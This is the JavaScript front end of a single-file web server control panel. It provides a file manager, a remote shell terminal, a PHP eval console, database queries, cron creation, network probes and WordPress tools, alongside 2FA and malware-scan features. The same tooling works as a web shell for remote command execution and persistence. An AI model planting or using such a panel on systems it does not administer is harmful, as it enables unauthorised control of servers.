this.api('files.list',{path:path}).then(function(d){var h='<table><tr><th></th><th>'+self.t('name')+'</th><th>'+self.t('size')+'</th><th>'+self.t('perms')+'</th><th>'+self.t('date')+'</th><th>'+self.t('actions')+'</th></tr>';
(d.items||[]).forEach(function(it){var isZip=/\.zip$/i.test(it.name),escp=App.esc(it.path).replace(/'/g,"\\'"),acts='';
acts+='<button class="btn btn-sm" onclick="App.renamePath(\''+escp+'\')">'+self.t('rename')+'</button> ';
acts+='<button class="btn btn-sm" onclick="App.chmodPath(\''+escp+'\',\''+App.esc(it.perms||'0644')+'\')">'+self.t('chmod')+'</button> ';
if(!it.dir){acts+='<button class="btn btn-sm" onclick="App.editFile(\''+escp+'\')">'+self.t('edit')+'</button> <button class="btn btn-sm" onclick="App.tailFile(\''+escp+'\')">'+self.t('tail')+'</button> <button class="btn btn-sm" onclick="App.hashFile(\''+escp+'\')">'+self.t('hash')+'</button> ';if(isZip)acts+='<button class="btn btn-sm" onclick="App.archiveList(\''+escp+'\')">Zip</button> ';}
acts+='<button class="btn btn-sm" onclick="App.delFile(\''+escp+'\')">'+self.t('delete')+'</button>';
var od='App.openDir(\''+escp+'\',\''+pane+'\')';
h+='<tr><td><input type="checkbox" class="fchk" data-p="'+App.esc(it.path)+'" data-pane="'+pane+'" onchange="App.updateBulkBar()"></td><td>'+(it.dir?'<a href="#" onclick="'+od+';return false">📁 '+App.esc(it.name)+'</a>':'📄 '+App.esc(it.name))+'</td><td>'+(it.dir?'-':App.fsize(it.size))+'</td><td class="tm">'+App.esc(it.perms||'-')+'</td><td class="tm">'+App.esc(it.mod)+'</td><td>'+acts+'</td></tr>';});
h+='</table><div class="tm mt2">'+d.total+' items · path: '+App.esc(path)+'</div>';document.getElementById(elId).innerHTML=h;}).catch(function(e){document.getElementById(elId).innerHTML='<div class="empty">'+App.esc(e.error||'Error')+'</div>';});},
_bc:function(pane,p){var parts=p.split(/[\\/]/),h='',acc='',sep=p.indexOf('\\')>=0?'\\':'/';parts.forEach(function(pt,i){if(!pt&&i>0)return;acc+=(i===0&&p[0]==='/'?'':(acc&&!acc.endsWith(sep)?sep:''))+pt;h+=' / <a onclick="App.openDir(\''+acc.replace(/'/g,"\\'")+'\',\''+pane+'\')">'+App.esc(pt||'/')+'</a>';});var el=document.getElementById(pane==='b'?'fbc-b':(this.splitFiles?'fbc-a':'fbc'));if(el)el.innerHTML=h||App.esc(p);},
openDir:function(p,pane){pane=pane||'a';if(pane==='b'){this.fpath2=p;}else{this.fpath=p;this.updateStatusPath();}if(this.page==='files'){if(pane==='b'){this._bc('b',this.fpath2);this._loadFileList('b',this.fpath2);}else if(this.splitFiles){this._bc('a',this.fpath);this._loadFileList('a',this.fpath);}else this.loadFiles();}},
switchRoot:function(p){this.fpath=p;this.loadFiles();},refreshFiles:function(){this.loadFiles();},
getSelectedPaths:function(pane){var sel=[],q= pane?'.fchk[data-pane="'+pane+'"]:checked':'.fchk:checked';document.querySelectorAll(q).forEach(function(el){sel.push(el.getAttribute('data-p'));});return sel;},
updateBulkBar:function(){var n=document.querySelectorAll('.fchk:checked').length,b=document.getElementById('fbulk');if(b)b.style.display=n?'flex':'none';},
bulkDelete:function(){var paths=this.getSelectedPaths();if(!paths.length||!confirm('Delete '+paths.length+' items?'))return;this.api('files.delete',{paths:paths}).then(function(){App.toast('Deleted','ok');App.refreshFiles();}).catch(function(e){App.toast(e.error,'err');});},
bulkZip:function(){var paths=this.getSelectedPaths();if(!paths.length)return;var dest=prompt('Zip destination path:');if(!dest)return;this.api('files.zip',{paths:paths,dest:dest}).then(function(d){App.toast('Zip created: '+App.fsize(d.size),'ok');App.refreshFiles();}).catch(function(e){App.toast(e.error,'err');});},
copyToOtherPane:function(){var pathsA=this.getSelectedPaths('a'),pathsB=this.getSelectedPaths('b'),fromA=pathsA.length>0,paths=fromA?pathsA:pathsB;if(!paths.length)return;var destBase=fromA?this.fpath2:this.fpath,prom=paths.map(function(src){var name=src.split(/[\\/]/).pop(),to=destBase.replace(/[\\/]$/,'')+(/\\/.test(destBase)?'\\':'/')+name;return App.api('files.copy',{from:src,to:to});});Promise.all(prom).then(function(){App.toast('Copied '+paths.length+' items','ok');App.refreshFiles();}).catch(function(e){App.toast(e.error||'Copy failed','err');});},
_bindDropzones:function(){document.querySelectorAll('.flist-drop').forEach(function(z){z.ondragover=function(e){e.preventDefault();z.classList.add('dragover');};z.ondragleave=function(){z.classList.remove('dragover');};z.ondrop=function(e){e.preventDefault();z.classList.remove('dragover');var pane=z.getAttribute('data-pane')||'a',target=pane==='b'?App.fpath2:App.fpath;if(e.dataTransfer.files.length)App.uploadToPath(target,e.dataTransfer.files);};});},
uploadToPath:function(path,files){if(!files||!files.length)return;var fd=new FormData();fd.append('upload',files[0]);fd.append('path',path);fd.append('csrf',CSRF);fetch(P+'?action=files.upload',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){if(d.ok){App.toast('Uploaded','ok');App.refreshFiles();}else App.toast(d.error,'err');});},
editFile:function(p){this.api('files.read',{path:p}).then(function(d){App.modal(App.t('edit')+': '+p.split(/[\\/]/).pop(),'<textarea class="editor-ta" id="ed">'+App.esc(d.content)+'</textarea><div class="mt2"><button class="btn btn-gold" onclick="App.saveFile(\''+p.replace(/'/g,"\\'")+'\')">'+App.t('save')+'</button></div>');});},
saveFile:function(p){var c=document.getElementById('ed').value;this.api('files.write',{path:p,content:c}).then(function(){App.toast(App.t('save'),'ok');App.closeModal();App.refreshFiles();}).catch(function(e){App.toast(e.error||'Error','err');});},
delFile:function(p){if(!confirm('Delete?'))return;this.api('files.delete',{paths:[p]}).then(function(){App.toast('OK','ok');App.refreshFiles();}).catch(function(e){App.toast(e.error,'err');});},
newFolder:function(){var n=prompt('Folder name:');if(!n)return;this.api('files.mkdir',{path:this.fpath.replace(/[\\/]$/,'')+(/\\/.test(this.fpath)?'\\':'/')+n}).then(function(){App.toast('OK','ok');App.refreshFiles();}).catch(function(e){App.toast(e.error,'err');});},
newFile:function(){var n=prompt('File name (e.g. notes.txt):');if(!n)return;var p=this.fpath.replace(/[\\/]$/,'')+(/\\/.test(this.fpath)?'\\':'/')+n;this.api('files.write',{path:p,content:''}).then(function(){App.toast('File created','ok');App.refreshFiles();App.editFile(p);}).catch(function(e){App.toast(e.error,'err');});},
renamePath:function(p){var base=p.split(/[\\/]/).pop(),n=prompt('New name:',base);if(!n||n===base)return;var dir=p.replace(/[\\/][^\\/]+$/,'');var to=dir+(/\\/.test(p)?'\\':'/')+n;this.api('files.rename',{from:p,to:to}).then(function(){App.toast('Renamed','ok');App.refreshFiles();}).catch(function(e){App.toast(e.error,'err');});},
chmodPath:function(p,cur){var m=prompt('chmod (e.g. 644 or 755):',(cur||'0644').replace(/^0/,''));if(!m)return;if(!/^[0-7]{3,4}$/.test(m)){App.toast('Invalid mode','err');return;}this.api('files.chmod',{path:p,mode:m}).then(function(){App.toast('chmod '+m,'ok');App.refreshFiles();}).catch(function(e){App.toast(e.error,'err');});},
uploadFile:function(){var inp=document.createElement('input');inp.type='file';inp.onchange=function(){var fd=new FormData();fd.append('upload',inp.files[0]);fd.append('path',App.fpath);fd.append('csrf',CSRF);fetch(P+'?action=files.upload',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){if(d.ok){App.toast('OK','ok');App.refreshFiles();}else App.toast(d.error,'err');});};inp.click();},
searchFiles:function(){var q=document.getElementById('fsearch').value;if(!q)return;this.api('files.search',{path:this.fpath,query:q}).then(function(d){App.modal('Search: '+q,'<pre class="pre">'+App.esc((d.results||[]).join('\n'))+'</pre>');});},
syncDirs:function(){var dst=prompt('Destination path to sync with '+this.fpath+':');if(!dst)return;var mirror=confirm('Mirror (copy missing/changed)?');this.api('files.sync',{src:this.fpath,dst:dst,mirror:mirror}).then(function(d){App.modal('Sync','<pre class="pre">'+App.esc(JSON.stringify(d,null,2))+'</pre>');}).catch(function(e){App.toast(e.error,'err');});},
integritySave:function(){this.api('files.integrity_save',{path:this.fpath}).then(function(d){App.toast('Baseline saved: '+d.count,'ok');}).catch(function(e){App.toast(e.error,'err');});},
integrityCheck:function(){this.api('files.integrity_check',{path:this.fpath}).then(function(d){App.modal('Integrity','<pre class="pre">'+App.esc(JSON.stringify(d,null,2))+'</pre>');}).catch(function(e){App.toast(e.error,'err');});},
hashFile:function(p){this.api('files.hash',{path:p,algo:'sha256'}).then(function(d){App.modal('Hash','<pre class="pre">'+App.esc(d.algo)+': '+App.esc(d.hash)+'\nSize: '+d.size+'</pre>');}).catch(function(e){App.toast(e.error,'err');});},
archiveList:function(p){this.api('files.archive_list',{path:p}).then(function(d){var rows=(d.items||[]).map(function(x){return App.esc(x.name)+' ('+App.fsize(x.size)+')';}).join('\n');App.modal('Archive','<pre class="pre">'+rows+'</pre>');}).catch(function(e){App.toast(e.error,'err');});},
tailFile:function(p){var self=this;this.tailPath=p;this.tailOffset=0;App.modal('Tail: '+p.split(/[\\/]/).pop(),'<pre class="pre" id="tailout">Loading...</pre><div class="tm mt2">Live poll 2s</div>');var poll=function(){self.api('files.tail',{path:p,lines:80,offset:self.tailOffset}).then(function(d){var el=document.getElementById('tailout');if(!el)return;if(self.tailOffset>0&&d.content)el.textContent+=d.content;else el.textContent=d.content||'';self.tailOffset=d.next_offset||d.size;el.scrollTop=el.scrollHeight;});};poll();if(this.tailTimer)clearInterval(this.tailTimer);this.tailTimer=setInterval(poll,2000);},
loadTerminal:function(){this.toggleTerm(true);this.ws().innerHTML='<div class="empty" style="padding:24px">Terminal opened in drawer below. Press <span class="kbd">`</span> to toggle.</div>';},
runCmd:function(){var cmd=document.getElementById('tcmd').value;if(!cmd)return;document.getElementById('tout').textContent+='$ '+cmd+'\n';document.getElementById('tcmd').value='';
this.api('terminal',{cmd:cmd,cwd:this.tcwd}).then(function(d){document.getElementById('tout').textContent+=(d.output||'')+'\n';if(d.cwd){App.tcwd=d.cwd;var l=document.getElementById('tcwd-label');if(l)l.textContent=d.cwd;}document.getElementById('tout').scrollTop=document.getElementById('tout').scrollHeight;}).catch(function(e){document.getElementById('tout').textContent+='ERROR: '+(e.error||'')+'\n';});},
loadDatabase:function(){document.getElementById('workspace').innerHTML='<div class="tbar"><select id="dbdr" onchange="App.db.driver=this.value"><option value="mysql">MySQL</option><option value="pgsql">PostgreSQL</option><option value="sqlite">SQLite</option></select><input id="dbh" placeholder="host" value="127.0.0.1"><input id="dbu" placeholder="user" value="root"><input id="dbp" type="password" placeholder="pass"><button class="btn btn-gold" onclick="App.dbTest()">Test</button></div><div id="dbout"><div class="empty">Connect first</div></div>';},
dbTest:function(){var d={driver:document.getElementById('dbdr').value,db_host:document.getElementById('dbh').value,db_user:document.getElementById('dbu').value,db_pass:document.getElementById('dbp').value};
this.api('db.test',d).then(function(r){App.db=Object.assign(App.db,d);document.getElementById('dbout').innerHTML='<div class="badge badge-g">OK: '+App.esc(r.server)+'</div><div class="mt2"><button class="btn btn-sm" onclick="App.dbList()">Databases</button></div>';App.toast('Connected','ok');}).catch(function(e){App.toast(e.error,'err');});},
dbList:function(){this.api('db.databases',this.db).then(function(d){var h='<table><tr><th>DB</th><th></th></tr>';(d||[]).forEach(function(x){h+='<tr><td>'+App.esc(x.name)+'</td><td><button class="btn btn-sm" onclick="App.dbTables(\''+App.esc(x.name).replace(/'/g,"\\'")+'\')">Tables</button></td></tr>';});h+='</table>';document.getElementById('dbout').innerHTML=h;});},
dbTables:function(n){App.db.db_name=n;this.api('db.tables',this.db).then(function(d){var h='<div class="mb2">DB: '+App.esc(n)+'</div><textarea id="sql" placeholder="SELECT ..."></textarea><button class="btn btn-gold mt2" onclick="App.dbQuery()">Query</button><div id="sqlout" class="mt2"></div><table><tr><th>Table</th></tr>';
(d||[]).forEach(function(x){h+='<tr><td>'+App.esc(x.name)+'</td></tr>';});h+='</table>';document.getElementById('dbout').innerHTML=h;});},
dbQuery:function(){this.api('db.query',Object.assign({},this.db,{sql:document.getElementById('sql').value})).then(function(d){document.getElementById('sqlout').innerHTML='<pre class="pre">'+App.esc(JSON.stringify(d,null,2))+'</pre>';}).catch(function(e){App.toast(e.error,'err');});},
loadLogs:function(){document.getElementById('workspace').innerHTML='<div class="empty">'+this.t('loading')+'</div>';this.api('log.find',{}).then(function(d){var h='<table><tr><th>Log</th><th>Size</th><th></th></tr>';(d||[]).forEach(function(l){h+='<tr><td class="tm">'+App.esc(l.path)+'</td><td>'+App.fsize(l.size)+'</td><td><button class="btn btn-sm" onclick="App.readLog(\''+App.esc(l.path).replace(/'/g,"\\'")+'\')">Read</button></td></tr>';});h+='</table>';document.getElementById('workspace').innerHTML=h;});},
readLog:function(p){this.api('log.read',{path:p,lines:200}).then(function(d){App.modal('Log','<pre class="pre">'+App.esc(d.content)+'</pre>');});},
loadBackup:function(){this.api('backup.list',{}).then(function(d){var h='<div class="tbar"><button class="btn btn-gold" onclick="App.mkBackup()">Create Backup</button></div><table><tr><th>Name</th><th>Size</th><th>Date</th></tr>';
(d||[]).forEach(function(b){h+='<tr><td>'+App.esc(b.name)+'</td><td>'+App.fsize(b.size)+'</td><td>'+App.esc(b.mod)+'</td></tr>';});h+='</table>';document.getElementById('workspace').innerHTML=h;});},
mkBackup:function(){this.api('backup.create',{path:this.fpath}).then(function(d){App.toast('Created: '+d.name,'ok');if(App.page==='backup')App.loadBackup();}).catch(function(e){App.toast(e.error,'err');});},
loadNetwork:function(){document.getElementById('workspace').innerHTML='<div class="tbar"><input id="nth" placeholder="host"><button class="btn btn-sm" onclick="App.netDns()">DNS</button><input id="ntp" placeholder="port" value="80" style="width:70px"><button class="btn btn-sm" onclick="App.netPort()">Port</button><input id="ntu" placeholder="url" style="flex:1"><button class="btn btn-sm" onclick="App.netCurl()">HTTP</button></div><pre class="pre" id="netout">Ready</pre>';},
netDns:function(){this.api('net.dns',{host:document.getElementById('nth').value}).then(function(d){document.getElementById('netout').textContent=JSON.stringify(d,null,2);});},
netPort:function(){this.api('net.port',{host:document.getElementById('nth').value||'127.0.0.1',port:document.getElementById('ntp').value}).then(function(d){document.getElementById('netout').textContent=JSON.stringify(d,null,2);});},
netCurl:function(){this.api('net.curl',{url:document.getElementById('ntu').value}).then(function(d){document.getElementById('netout').textContent=JSON.stringify(d,null,2);}).catch(function(e){document.getElementById('netout').textContent=e.error;});},
loadSecurity:function(){var c=this.ws(),tiles=[{i:'🔍',n:'Audit',d:'Security audit scan',fn:'App.secAudit()'},{i:'🩺',n:'Doctor',d:'WordPress health check',p:'doctor'},{i:'🦠',n:'Malware',d:'Path malware scan',p:'malware'},{i:'🔒',n:'SSL Radar',d:'Certificate expiry',p:'ssl'}];
var h='<div style="margin-bottom:12px;font-weight:600;color:var(--text2);font-size:12px;text-transform:uppercase;letter-spacing:.8px">Security Hub</div><div class="tile-grid">';tiles.forEach(function(t){h+='<button class="tile" onclick="'+(t.fn||('App.go(\''+t.p+'\')'))+'"><div class="ti">'+t.i+'</div><div class="tn">'+t.n+'</div><div class="td">'+t.d+'</div></button>';});h+='</div><pre class="pre mt2" id="secout" style="display:none"></pre>';c.innerHTML=h;},
secAudit:function(){this.api('security.audit',{}).then(function(d){App.modal('Security Audit','<pre class="pre">'+App.esc(JSON.stringify(d,null,2))+'</pre>');}).catch(function(e){App.toast(e.error,'err');});},
loadDoctor:function(){document.getElementById('workspace').innerHTML='<div class="tbar"><input id="docpath" class="f1" value="'+App.esc(this.fpath)+'"><button class="btn btn-gold" onclick="App.doctor()">Run Doctor</button></div><pre class="pre" id="secout">Enter WP path or docroot</pre>';},
loadMalware:function(){document.getElementById('workspace').innerHTML='<div class="tbar"><input id="malpath" class="f1" value="'+App.esc(this.fpath)+'"><button class="btn btn-gold" onclick="App.malScan()">Scan</button></div><pre class="pre" id="secout">Ready</pre>';},
malScan:function(){var p=document.getElementById('malpath')?document.getElementById('malpath').value:this.fpath;this.api('malware.scan',{path:p}).then(function(d){document.getElementById('secout').textContent=JSON.stringify(d,null,2);});},
doctor:function(){var p=document.getElementById('docpath')?document.getElementById('docpath').value:this.fpath;this.api('doctor.run',{path:p}).then(function(d){document.getElementById('secout').textContent=JSON.stringify(d,null,2);});},
loadSsl:function(){document.getElementById('workspace').innerHTML='<div class="tbar"><button class="btn btn-gold" onclick="App.sslRadar()">Scan All Domains</button></div><div id="sslout"><div class="empty">'+this.t('loading')+'</div></div>';this.sslRadar();},
sslRadar:function(){this.api('ssl.radar',{}).then(function(d){var h='<table><tr><th>Host</th><th>Days Left</th><th>Valid To</th><th>Error</th></tr>';(d||[]).forEach(function(r){var cls=(r.days_left!=null&&r.days_left<14)?'badge-r':'badge-g';h+='<tr><td>'+App.esc(r.host)+'</td><td><span class="badge '+cls+'">'+(r.days_left!=null?r.days_left:'?')+'</span></td><td>'+App.esc(r.valid_to||'')+'</td><td class="tm">'+App.esc(r.error||'')+'</td></tr>';});h+='</table>';document.getElementById('sslout').innerHTML=h;}).catch(function(e){document.getElementById('sslout').innerHTML='<div class="empty">'+App.esc(e.error)+'</div>';});},
loadHosting:function(){document.getElementById('workspace').innerHTML='<div class="empty">'+this.t('loading')+'</div>';this.api('hosting.detect',{}).then(function(d){document.getElementById('workspace').innerHTML='<pre class="pre">'+App.esc(JSON.stringify(d,null,2))+'</pre>';});},
loadRedis:function(){if(!this.hasRedis){document.getElementById('workspace').innerHTML='<div class="empty">Redis extension not available</div>';return;}document.getElementById('workspace').innerHTML='<div class="tbar"><input id="rkpat" value="*" style="width:120px"><button class="btn btn-sm" onclick="App.redisKeys()">Keys</button><input id="rkkey" placeholder="key" class="f1"><button class="btn btn-sm" onclick="App.redisGet()">Get</button><button class="btn btn-sm btn-red" onclick="App.redisDel()">Del</button></div><pre class="pre" id="redisout">Ready</pre>';},
redisKeys:function(){this.api('redis.keys',{pattern:document.getElementById('rkpat').value}).then(function(d){document.getElementById('redisout').textContent=(d.keys||[]).join('\n');});},
redisGet:function(){this.api('redis.get',{key:document.getElementById('rkkey').value}).then(function(d){document.getElementById('redisout').textContent=JSON.stringify(d,null,2);}).catch(function(e){App.toast(e.error,'err');});},
redisDel:function(){if(!confirm('Delete key?'))return;this.api('redis.del',{key:document.getElementById('rkkey').value}).then(function(){App.toast('Deleted','ok');});},
loadRepl:function(){if(!this.hasRepl){document.getElementById('workspace').innerHTML='<div class="empty">REPL disabled in config</div>';return;}document.getElementById('workspace').innerHTML='<textarea id="replcode" class="editor-ta" placeholder="PHP code (no tags)..."></textarea><button class="btn btn-gold mt2" onclick="App.replRun()">Eval</button><pre class="pre mt2" id="replout"></pre>';},
replRun:function(){this.api('repl.eval',{code:document.getElementById('replcode').value}).then(function(d){document.getElementById('replout').textContent=JSON.stringify(d,null,2);}).catch(function(e){App.toast(e.error,'err');});},
loadWordpress:function(){document.getElementById('workspace').innerHTML='<div class="empty">'+this.t('loading')+'</div>';this.api('wp.scan',{path:this.fpath}).then(function(d){var h='<table><tr><th>Path</th><th>DB</th><th>Actions</th></tr>';(d||[]).forEach(function(w){var p=App.esc(w.path).replace(/'/g,"\\'");h+='<tr><td class="tm">'+App.esc(w.path)+'</td><td>'+App.esc(w.db_name||w.error||'')+'</td><td><button class="btn btn-sm" onclick="App.wpSec(\''+p+'\')">Sec</button> <button class="btn btn-sm" onclick="App.wpRepair(\''+p+'\')">Repair</button> <button class="btn btn-sm" onclick="App.wpChecksum(\''+p+'\')">Checksum</button> <button class="btn btn-sm" onclick="App.wpStaging(\''+p+'\')">Staging</button></td></tr>';});h+='</table>';document.getElementById('workspace').innerHTML=h||'<div class="empty">No WP found</div>';});},
wpSec:function(p){this.api('wp.security',{path:p}).then(function(d){App.modal('WP Security','<pre class="pre">'+App.esc(JSON.stringify(d,null,2))+'</pre>');});},
wpRepair:function(p){this.api('wp.repair',{path:p,db_repair:1,clear_transients:1}).then(function(d){App.toast('Repair done','ok');App.modal('Repair','<pre class="pre">'+App.esc(JSON.stringify(d,null,2))+'</pre>');}).catch(function(e){App.toast(e.error,'err');});},
wpChecksum:function(p){this.api('wp.checksum',{path:p}).then(function(d){App.modal('Checksum','<pre class="pre">'+App.esc(JSON.stringify(d,null,2))+'</pre>');}).catch(function(e){App.toast(e.error,'err');});},
wpStaging:function(p){var dest=prompt('Staging dest (empty = path_staging):','');this.api('wp.staging',{path:p,dest:dest||undefined}).then(function(d){App.modal('Staging','<pre class="pre">'+App.esc(JSON.stringify(d,null,2))+'</pre>');}).catch(function(e){App.toast(e.error,'err');});},
loadCache:function(){this.api('cache.status',{}).then(function(d){document.getElementById('workspace').innerHTML='<pre class="pre">'+App.esc(JSON.stringify(d,null,2))+'</pre><button class="btn btn-gold mt2" onclick="App.cacheReset()">Reset OPcache</button>';});},
cacheReset:function(){this.api('cache.reset',{type:'opcache'}).then(function(d){App.toast('OPcache flushed','ok');if(App.page==='cache')App.loadCache();});},
loadProcesses:function(){this.api('proc.list',{}).then(function(d){var h='<table><tr><th>PID</th><th>User</th><th>CPU</th><th>CMD</th></tr>';(d||[]).forEach(function(p){h+='<tr><td>'+App.esc(p.pid)+'</td><td>'+App.esc(p.user||'')+'</td><td>'+App.esc(p.cpu||'')+'</td><td class="tm">'+App.esc((p.cmd||p.name||'').substring(0,80))+'</td></tr>';});h+='</table>';document.getElementById('workspace').innerHTML=h;}).catch(function(e){document.getElementById('workspace').innerHTML='<div class="empty">'+App.esc(e.error)+'</div>';});},
loadCron:function(){document.getElementById('workspace').innerHTML='<div class="tbar"><input id="cvmin" placeholder="min" value="*" style="width:50px"><input id="cvhour" placeholder="hour" value="*" style="width:50px"><input id="cvdom" placeholder="dom" value="*" style="width:50px"><input id="cvdow" placeholder="dow" value="*" style="width:50px"><input id="cvcmd" placeholder="command" class="f1"><button class="btn btn-gold" onclick="App.cronVisualAdd()">Add</button></div><div id="cronlist"><div class="empty">'+this.t('loading')+'</div></div>';this.api('cron.list',{}).then(function(d){document.getElementById('cronlist').innerHTML='<pre class="pre">'+App.esc((d.jobs||[]).join('\n')||'No jobs')+'</pre>';}).catch(function(e){document.getElementById('cronlist').innerHTML='<div class="empty">'+App.esc(e.error)+'</div>';});},
cronVisualAdd:function(){this.api('cron.visual_add',{minute:document.getElementById('cvmin').value,hour:document.getElementById('cvhour').value,day_of_month:document.getElementById('cvdom').value,day_of_week:document.getElementById('cvdow').value,cmd:document.getElementById('cvcmd').value}).then(function(){App.toast('Added','ok');App.loadCron();}).catch(function(e){App.toast(e.error,'err');});},
loadDomains:function(){this.api('domains.list',{}).then(function(d){var h='<table><tr><th>Domain</th><th>Docroot</th><th>WP</th></tr>';(d||[]).forEach(function(x){h+='<tr><td>'+App.esc(x.domain)+'</td><td class="tm">'+App.esc(x.docroot)+'</td><td>'+(x.wordpress?'<span class="badge badge-o">WP</span>':'')+'</td></tr>';});h+='</table>';document.getElementById('workspace').innerHTML=h;});},
loadSettings:function(){this.api('settings.get',{}).then(function(d){var h='<div class="cards"><div class="card"><h3>Version</h3><div class="val" style="font-size:18px">'+App.esc(d.version)+'</div></div><div class="card"><h3>2FA</h3><div class="val" style="font-size:14px">'+(d.totp_enabled?'ON':'OFF')+'</div></div></div>';
h+='<div class="mt2 mb2"><h3>Notes</h3><textarea id="setnotes" rows="4">'+App.esc(d.notes||'')+'</textarea></div>';
h+='<div class="mb2"><label>Telegram Bot Token</label><input id="settgbot" value="" placeholder="'+(d.telegram_configured?'configured':'bot token')+'" style="width:100%"></div>';
h+='<div class="mb2"><label>Telegram Chat ID</label><input id="settgchat" value="'+App.esc(d.telegram_chat||'')+'" style="width:100%"></div>';
h+='<div class="mb2"><label>Discord Webhook</label><input id="setdiscord" value="" placeholder="'+(d.discord_configured?'configured':'webhook url')+'" style="width:100%"></div>';
h+='<div class="mb2"><label>IP Whitelist</label><input id="setwl" value="'+App.esc(d.ip_whitelist||'')+'" style="width:100%"></div>';
h+='<div class="mb2"><label><input type="checkbox" id="setrepl" '+(d.repl_enabled?'checked':'')+'> REPL Enabled (dangerous)</label></div>';
h+='<div class="tbar"><button class="btn btn-gold" onclick="App.saveSettings()">'+App.t('save')+'</button><button class="btn btn-sm" onclick="App.notifyTest()">Test Alerts</button><button class="btn btn-sm" onclick="App.totpSetup()">Setup 2FA</button><button class="btn btn-sm" onclick="App.totpDisable()">Disable 2FA</button></div>';
document.getElementById('workspace').innerHTML=h;});},
saveSettings:function(){var d={notes:document.getElementById('setnotes').value,ip_whitelist:document.getElementById('setwl').value,repl_enabled:document.getElementById('setrepl').checked};var tb=document.getElementById('settgbot');if(tb&&tb.value)d.telegram_bot=tb.value;var tc=document.getElementById('settgchat');if(tc)d.telegram_chat=tc.value;var dw=document.getElementById('setdiscord');if(dw&&dw.value)d.discord_webhook=dw.value;this.api('settings.save',d).then(function(){App.toast('Saved — reload may be needed','ok');}).catch(function(e){App.toast(e.error,'err');});},
notifyTest:function(){this.api('notify.test',{}).then(function(d){App.modal('Notify Test','<pre class="pre">'+App.esc(JSON.stringify(d,null,2))+'</pre>');}).catch(function(e){App.toast(e.error,'err');});},
totpSetup:function(){this.api('totp.setup',{}).then(function(d){var code=prompt('Secret: '+d.secret+'\nEnter 6-digit code to confirm:');if(!code)return;App.api('totp.setup',{confirm:1,secret:d.secret,code:code}).then(function(){App.toast('2FA enabled','ok');App.loadSettings();}).catch(function(e){App.toast(e.error,'err');});});},
totpDisable:function(){var p=prompt('Password to disable 2FA:');if(!p)return;this.api('totp.disable',{password:p}).then(function(){App.toast('2FA disabled','ok');App.loadSettings();}).catch(function(e){App.toast(e.error,'err');});},
paletteItems:[{l:'Cockpit',p:'cockpit'},{l:'Files',p:'files'},{l:'Ops',p:'ops'},{l:'Health',p:'health'},{l:'Terminal',p:'terminal'},{l:'Database',p:'database'},{l:'Logs',p:'logs'},{l:'Backup',p:'backup'},{l:'Network',p:'network'},{l:'SSL Radar',p:'ssl'},{l:'Security',p:'security'},{l:'Doctor',p:'doctor'},{l:'Malware',p:'malware'},{l:'Hosting',p:'hosting'},{l:'Redis',p:'redis'},{l:'REPL',p:'repl'},{l:'WordPress',p:'wordpress'},{l:'Settings',p:'settings'}],
togglePalette:function(){var pl=document.getElementById('palette');pl.classList.toggle('open');if(pl.classList.contains('open')){document.getElementById('pl-input').value='';document.getElementById('pl-input').focus();this.filterPalette('');}},
filterPalette:function(q){var h='';this.paletteItems.forEach(function(it,i){if(!q||it.l.toLowerCase().indexOf(q.toLowerCase())>=0)h+='<div class="pl-item" data-i="'+i+'" onclick="App.plGo('+i+')">'+App.esc(it.l)+'</div>';});document.getElementById('pl-list').innerHTML=h||'<div class="pl-item">No match</div>';},
plGo:function(i){var it=this.paletteItems[i];if(it){document.getElementById('palette').classList.remove('open');this.go(it.p);}},
init:function(){this.buildActivity();this.renderTabs();this.startStatusPoll();var hash=location.hash.replace('#','');if(hash==='dashboard'||hash==='cockpit')hash='files';this.go(hash||'files',true);window.addEventListener('hashchange',function(){var h=location.hash.replace('#','');if(h==='dashboard')h='cockpit';if(h)App.go(h,true);});
document.addEventListener('keydown',function(e){if(e.ctrlKey&&e.key==='k'){e.preventDefault();App.togglePalette();}if(e.key==='`'){e.preventDefault();App.toggleTerm();}if(e.key==='Escape'){App.closeModal();document.getElementById('palette').classList.remove('open');if(App.termOpen)App.toggleTerm(false);}});
document.getElementById('pl-input').addEventListener('input',function(e){App.filterPalette(e.target.value);});
document.getElementById('pl-input').addEventListener('keydown',function(e){if(e.key==='Enter'){var first=document.querySelector('.pl-item');if(first&&first.dataset.i)App.plGo(parseInt(first.dataset.i));}});
}};
App.init();
</script></body></html>